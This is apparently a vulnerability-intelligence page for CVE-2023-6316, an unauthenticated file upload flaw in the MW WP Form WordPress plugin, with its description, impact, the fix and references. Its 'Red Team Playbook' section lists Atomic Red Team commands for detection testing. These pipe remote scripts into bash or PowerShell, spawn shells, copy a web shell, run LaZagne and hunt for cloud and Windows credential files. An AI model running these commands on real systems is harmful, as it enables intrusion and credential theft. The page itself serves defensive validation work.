CVE-2023-6316
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the '_single_file_upload' function within the MW WP Form WordPress plugin. The root cause lies in the failure to properly restrict or sanitize uploaded file extensions or MIME types, allowing unauthorized files to be accepted. The affected component is the file upload handler in versions up to and including 5.0.1 of the MW WP Form plugin.
Vulnerability Description
The MW WP Form plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the '_single_file_upload' function in versions up to, and including, 5.0.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files, potentially including malicious scripts, to the target server. This can lead to remote code execution, allowing full compromise of the affected WordPress site. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), increasing the severity and ease of exploitation. The compromise can result in data breaches, site defacement, or use of the server for further attacks.
Solution
Users should upgrade the MW WP Form plugin to a version later than 5.0.1 where this vulnerability is addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/b2c03142-be30-4173-a140-14d73a16dd2b) provides detailed patch information. Reviewing the changeset at the WordPress plugin trac (revision 3003065) shows the implemented fixes to the file upload validation mechanism. No official workaround is documented; updating the plugin is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the MW WP Form plugin for WordPress stems from inadequate validation of file types during the file upload process. Specifically, the flaw exists within the '_single_file_upload' function, which fails to properly restrict the types of files that can be uploaded. This oversight allows unauthenticated attackers to bypass security measures and upload arbitrary files to the server hosting the affected WordPress site. The implications of this vulnerability are significant, as it can lead to remote code execution, enabling attackers to execute malicious scripts or commands on the server, potentially compromising the entire web application and its data.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious file, such as a PHP script disguised as an image or document, and submit it via the vulnerable upload functionality. Once uploaded, the attacker can access the file directly through the web server, leveraging it to execute arbitrary code. This scenario not only allows for the potential installation of malware but also facilitates further attacks, such as data exfiltration, website defacement, or the establishment of a persistent backdoor for ongoing access. The ease of exploitation, combined with the lack of authentication requirements for the upload process, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for businesses relying on WordPress for their online presence. Successful exploitation can lead to data breaches, loss of sensitive customer information, and significant reputational damage. Additionally, the financial implications can be substantial, with costs associated with incident response, remediation, and potential legal liabilities. Organizations may also face downtime, loss of customer trust, and the long-term effects of compromised brand integrity. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a serious risk to any organization utilizing the affected plugin.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating the MW WP Form plugin to the latest version is essential, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads and provide an additional layer of security. Conducting routine security audits and vulnerability assessments can also aid in identifying and remediating weaknesses in the web application. Furthermore, organizations should enforce strict file type validation and implement measures to limit file uploads to only necessary formats. Educating staff about secure coding practices and the importance of maintaining up-to-date software can further reduce the risk of exploitation.
In conclusion, the vulnerability in the MW WP Form plugin represents a significant threat to WordPress sites, with the potential for severe consequences if exploited. Organizations must take proactive steps to safeguard their systems, including timely updates, enhanced security measures, and ongoing education about cybersecurity best practices. By addressing this vulnerability effectively, businesses can protect their digital assets and maintain the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mw Wp Form Project | Mw Wp Form | All |
cpe:2.3:a:mw_wp_form_project:mw_wp_form:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6316 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b2c03142-be30-4173-a140-14d73a16dd2b?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/mw-wp-form/tags/5.0.1/classes/models/class.file.php#L60 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3003065/mw-wp-form#file15 |